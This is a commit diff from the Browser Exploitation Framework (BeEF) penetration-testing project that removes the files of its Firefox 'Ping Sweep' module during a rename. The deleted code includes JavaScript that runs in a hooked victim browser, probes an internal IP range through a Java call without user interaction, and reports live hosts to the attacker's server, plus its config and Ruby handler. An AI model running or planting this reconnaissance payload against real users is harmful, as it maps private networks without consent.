Rename Ping Sweep module to Ping Sweep (FF)
This commit is contained in:
@@ -1,69 +0,0 @@
|
||||
//
|
||||
// Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
var ips = new Array();
|
||||
var ipRange = "<%= @ipRange %>";
|
||||
var timeout = "<%= @timeout %>";
|
||||
var delay = parseInt(timeout) + parseInt("<%= @delay %>");
|
||||
var verbose=false; /* enable for debug */
|
||||
|
||||
// ipRange will be in the form of 192.168.0.1-192.168.0.254: the fourth octet will be iterated.
|
||||
// Note: if ipRange is just an IP address like 192.168.0.1, the ips array will contain only one element: ipBounds[0]
|
||||
// (only C class IPs are supported atm). Same code as internal_network_fingerprinting module
|
||||
var ipBounds = ipRange.split('-');
|
||||
var ipToTest;
|
||||
if(ipBounds.length>1) {
|
||||
var lowerBound = parseInt(ipBounds[0].split('.')[3]);
|
||||
var upperBound = parseInt(ipBounds[1].split('.')[3]);
|
||||
|
||||
for(i=lowerBound;i<=upperBound;i++){
|
||||
ipToTest = ipBounds[0].split('.')[0]+"."+ipBounds[0].split('.')[1]+"."+ipBounds[0].split('.')[2]+"."+i
|
||||
ips.push(ipToTest);
|
||||
}
|
||||
} else {
|
||||
ipToTest = ipBounds[0]
|
||||
ips.push(ipToTest);
|
||||
}
|
||||
|
||||
if(ips.length==1) verbose=true;
|
||||
|
||||
|
||||
function do_scan(host, timeout) {
|
||||
var status=false;
|
||||
var ping="";
|
||||
|
||||
try {
|
||||
status = java.net.InetAddress.getByName(host).isReachable(timeout);
|
||||
} catch(e) { /*handle exception...? */ }
|
||||
|
||||
if (status) {
|
||||
ping = host + " is alive!";
|
||||
} else if(verbose) {
|
||||
ping = host + " is not alive";
|
||||
}
|
||||
return ping;
|
||||
}
|
||||
|
||||
|
||||
// call do_scan for each ip
|
||||
// use of setInterval trick to avoid slow script warnings
|
||||
var i=0;
|
||||
if(ips.length>1) {
|
||||
var int_id = setInterval( function() {
|
||||
var host = do_scan(ips[i++],timeout);
|
||||
if(host!="") beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host='+host, beef.are.status_success());
|
||||
if(i==ips.length) { clearInterval(int_id); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host=Ping sweep finished'); }
|
||||
}, delay);
|
||||
} else {
|
||||
var host = do_scan(ips[i],timeout);
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host='+host);
|
||||
}
|
||||
|
||||
});
|
||||
|
||||
@@ -1,16 +0,0 @@
|
||||
#
|
||||
# Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
ping_sweep:
|
||||
enable: true
|
||||
category: "Network"
|
||||
name: "Ping Sweep"
|
||||
description: "Discover active hosts in the internal network of the hooked browser. It works by calling a Java method from JavaScript and does not require user interaction.<br> For browsers other than Firefox, use the PingSweep Java module."
|
||||
authors: ["jgaliana"]
|
||||
target:
|
||||
working: ["FF"]
|
||||
not_working: ["C", "S", "O", "IE"]
|
||||
@@ -1,46 +0,0 @@
|
||||
#
|
||||
# Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
#
|
||||
# Ping Sweep Module - jgaliana
|
||||
# Discover active hosts in the internal network of the hooked browser.
|
||||
# It works calling a Java method from JavaScript and do not require user interaction.
|
||||
|
||||
|
||||
class Ping_sweep < BeEF::Core::Command
|
||||
|
||||
def self.options
|
||||
return [
|
||||
{'name' => 'ipRange', 'ui_label' => 'Scan IP range (C class or IP)', 'value' => '192.168.0.1-192.168.0.254'},
|
||||
{'name' => 'timeout', 'ui_label' => 'Timeout (ms)', 'value' => '2000'},
|
||||
{'name' => 'delay', 'ui_label' => 'Delay between requests (ms)', 'value' => '100'}
|
||||
]
|
||||
end
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['host'] =@datastore['host'] if not @datastore['host'].nil?
|
||||
if content.empty?
|
||||
content['fail'] = 'No active hosts have been discovered.'
|
||||
end
|
||||
save content
|
||||
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
if configuration.get("beef.extension.network.enable") == true
|
||||
|
||||
session_id = @datastore['beefhook']
|
||||
|
||||
# save the network host
|
||||
if @datastore['results'] =~ /host=([\d\.]+) is alive/
|
||||
ip = $1
|
||||
if BeEF::Filters.is_valid_ip?(ip)
|
||||
print_debug("Hooked browser has network interface #{ip}")
|
||||
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => ip)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user